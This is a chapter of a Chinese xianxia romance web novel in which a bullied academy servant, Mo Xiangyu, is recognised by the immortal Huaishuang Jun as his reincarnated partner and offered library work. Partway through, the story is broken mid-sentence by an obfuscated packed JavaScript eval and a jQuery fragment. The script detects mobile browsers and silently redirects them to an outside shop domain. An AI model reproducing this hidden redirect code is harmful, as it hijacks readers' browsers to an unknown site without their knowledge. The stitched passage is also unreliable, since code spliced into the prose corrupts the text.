在火灵珠的蕴养下,莫向语逐渐苏醒过来,与刚踏入屋中的院长四目相对。
院长悬在心间的担忧终于散去,坐到榻前,关心道:“感觉怎么样?可还有什么不舒服的?”
他不着痕迹地打量着莫惊春,不知怎的,方才莫惊春睁开眼那一瞬间竟然给他一种似曾相识的感觉。
少年脸颊瘦得几乎只剩下一层皮包着骨头,衬得眼睛格外大,只是那双本该明亮的眼睛好像蒙上了一层灰色,眸中暗淡无光。
院长仍然没把他和记忆中出现过的人对上号,只好收回了暗自打量的视线。
莫向语被他眼中的关心烫到,垂下眼捷,声音里带着一丝大病初愈的嘶哑:“没有,多谢院长关心。”
不用想也知道,要不是院长,只怕他的尸体都不知道在哪儿。
院长道:“书院会劝退宁斯时,这样的事情绝不会再发生第二次。你日后是想继续留在书院,还是有什么其他的打算?”
莫向语闻言爬起来跪在床上朝他一拜,抬眼望他,灰暗无波澜的眸中含着执拗,“求院长不要赶我走。”
院长叹气,“不会赶你走的。
“你能醒来,多亏了怀霜君送的火灵珠,身体无恙了记得去给怀霜君道谢。”
院长说这话,其实还存了别的心思。
怀霜君这样的人物,哪有闲心管别人的事,可他偏偏送了颗火灵珠给莫惊春。若是莫惊春能抓住机会,从此入了怀霜君的眼,得其庇佑,往后在书院里,谁都不敢欺负他。
莫向语不是傻子,哪能听不懂院长的暗示。
目送院长离开,他目光怔怔望着门口。
许久后,腹部传来的饥饿感拉回了他的思绪,恰好这时有人推门而入。
林苏提着食盒进来,笑嘻嘻道:“饿了吧,我、院长让我给你煮了粥,你快喝点。”
莫向语道了谢,没客气,喝完一整碗粥,腹部的烧灼感减轻了不少。
林苏在他喝粥时悄悄打量他,心中不由生了怜惜,好好的一个人,自从宁斯时入学后便被折腾成这副模样了。
她打量的视线太过明显,莫向语很难不注意到,只是这样的目光他已经见到过太多次了,心里生不起一点波澜。
放下碗,他抬眼望向林苏,再次面无表情地道了谢。
林苏对上他不带一丝情绪的眼神,莫名有种偷窥人被当场抓住的心虚感,暗道莫惊春这冷冰冰不近人情的样子,也难怪会被欺负,不过转念一想,这也不应该成为他被欺负的理由。
她仍是那副笑嘻嘻的样子,衷心得替他开心道:“莫惊春,宁斯时要退学了,你以后再也不用担心宁斯时使坏了。”
莫向语却只是纠正她:“我叫莫向语,不叫莫惊春。”
“莫向语?你什么时候改名了?好了好了,我不打扰你休息了。”
林苏看得出来他并不是很想搭理她,没有让他为难,就要离开,走到门口被叫住。
她疑惑道:“怎么了?”
莫向语嘴唇张了又张,终于还是没能问出口,只说道:“没事,你走吧。”
林苏离开了。
莫向语又开始双目放空。
他想打听一下怀霜君,将要问出口的时候,他才意识到,得到的答案多半和传闻一样。
光风霁月、天之骄子。
他没想过,或许他问出口,林苏就会告诉他,怀霜君是光风霁月、天之骄子不错,但他也是个魔鬼。
得到这样的答案,他可能就不会抱有其他的想法。
但现在,他认为怀霜君应当是个好人,至少不那么坏。
他要利用怀霜君对他的怜悯吗?
******
大雪连着下了几日,清晨天光初破云霄,天地间一片朦胧的白,仿佛坠入梦境般虚幻。
郁惊寒推门而出,在宛若幻境的雪地里舞剑,不知为何,有些心神不宁。
直到沈清渠从朦胧的冷雾里走过来,他才收了剑。
沈清渠递给他一封信。
“阿姐的信。”
他拆开来看,是寻常家书,便收进袖中,打算晚间再回信。
“你在这儿种霜炎花干嘛?”
沈清渠惊讶地发现地上已经长出了霜炎花的苗,伸手要去摸摸看是不是自己看错了。
郁惊寒大步走过去,及时抓住他的手,眉目如冰天雪地一般冷,格外不近人情道:“别碰。”
霜炎花未开花前一旦被人触碰就会立刻枯萎,碰一下就少一株。
沈清渠也不是非得手贱,打着哈欠往里走,“瞧你稀罕得,你不是还有课吗,快去快去,我在你这里睡个觉。”
他昨晚研究符箓一晚上没睡,自然要找一张最舒服的床睡一觉。郁惊寒的床是不二选择。
话音刚落,他就躺床上一秒入睡。
衣服没换。
靴子没脱。
郁惊寒深吸一口气,忍住了。
还好他不睡这张床。
他转身去了学堂。
上完一天的课,学生们纷纷逃离学堂,但仍有几个学生围着郁惊寒请教疑惑。
其中一个是林苏的朋友,林苏便陪她留下来,耳朵听着怀霜君的指点,眼睛却跟着心往学堂外飘了。
飘着飘着,就看见了一个熟悉的身影。
林苏心中一阵惊喜,忙挥手向莫向语示意。
她也就给莫向语送过几天饭,没想到莫向语对她已经有了这么深的感情,竟然来学堂找她。
莫向语没想到能碰到林苏,想起这几日林苏对他的照顾,朝她点了点头,便移开视线,站在学堂外等怀霜君。
郁惊寒自然也注意到了学堂外面有人,只是当他抬眼望去,就只看到一个瘦得像竹竿一样,衣服都快要挂不住的背影。
几个学生请教完了,林苏立刻抛下朋友,跑到莫向语面前,脸上是掩饰不住的高兴,“怎么突然来找我了?”
莫向语不知怎么跟她解释,视线捕捉到等的人要离开了,便顾不上她,小跑到怀霜君面前。
林苏气得跺脚:“喂!莫惊春,你太过分了啊!”
莫向语哪还听得见她的话,一张枯瘦的脸盯着怀霜君,眸中情绪不多,也没有因初见怀霜君而感叹他的清俊矜贵。
但很快,他低下头去,声音不大,却在寂然无声的环境里清晰可闻。
“多谢怀霜君救命之恩。”
郁惊寒怔然立在原地。
根本不需要犹豫,他一眼认出来这就是他的道侣阿语。
即使容貌相
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036467|148878||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去甚远,即使阿语穿越后占了莫惊春的躯壳,他也能从那种冷漠眼神和毫无波澜起伏的说话腔调里认出来阿语的灵魂。
郁惊寒没想过,这一世两人会以这样的方式相遇,更没想过,阿语会是这副模样。
像没吃饱饭、被人狠狠欺负了一样。
学生们的争执在他耳边回荡。
“宁斯时不让他吃饭,让他跪在膳堂求他才让他吃。”
“听说抬进医馆的时候肢体都是僵硬的。”
他的喉咙像是被人掐住了,呼吸都显得困难。
目光落在莫向语乌黑的头顶。
就在莫向语快要忍不住抬头时,他才艰难开口道。
“你叫什么名字?”
林苏的话他听到了,阿语如今是叫莫惊春么?
莫向语如实答道:“莫向语。”
郁惊寒继续问:“你在书院是做什么的?”
这样一个高高在上的人问他是做什么的,语气是那样波澜不惊,不在乎他的身份,不在乎他的修为,就好像他和其他人没什么区别一样。
莫向语忽地心生了怯意。
他不想告诉怀霜君。
他抬起头,再一次仔细地将怀霜君的容貌、表情收尽眼底。
怀霜君果然是光风霁月之人,唇边含笑,神情温和。
他抿了下唇,道:“我干杂役的活儿。”
郁惊寒颔首道:“看起来这个活儿不太轻松。”
莫向语沉默。
他觉得怀霜君也不是什么好人。
站在云端的人,何苦来挖苦嘲讽他这种在泥地里打滚的人。
这个世界的人,不都是这样吗?
搭落在裤腿旁的手握成拳,他的眼神更冷漠了。
郁惊寒将他的反应看在眼里,心口刺痛,背过身去,闭了闭泛红的眼睛,问道。
“藏书馆缺一个整理书册的人,你愿意去吗?”
莫向语愕然。
藏书馆何其重要,怎么可能让他一个普通的杂役进去?
他不敢相信,可又很想相信。
毕竟在藏书馆的杂役,地位比其他普通杂役高出不少,更重要的是,在藏书馆可以接触到很多他从未接触过的修炼法门。
郁惊寒迟迟等不到他想要的答案,垂眸望着地上一摊积雪化成的水,袖中甩出一块玉佩稳稳地落到莫向语的手中。
“你可以考虑一下,若是想清楚了,就拿着这枚玉佩去藏书馆找馆主。”
他丢下这句话就离开了。
玉白的衣袍渐渐与雪色融为一体,直至消失不见。
莫向语低头,手指不自觉摩挲着刻着“寒”字的碧色玉佩,缓缓握紧。
他忘记了应该向林苏道歉,或者说他根本没有这样的意识。
他在原地站了片刻,将玉佩揣进怀里,往杂役房走。
杂役房位置偏远,在书院不起眼的西南角,越往西南方向走,越是荒芜枯寂,风也变得异常刺骨。
莫向语好像感受不到一样,脸上没有任何表情,任凭风呼哧呼哧往脸上吹,脸色愈发苍白,时不时咳嗽两声。
忽地,他脚步顿住,往身后看了眼,空荡荡的连个鬼影子都没有。
他只好收回视线,加快了脚步。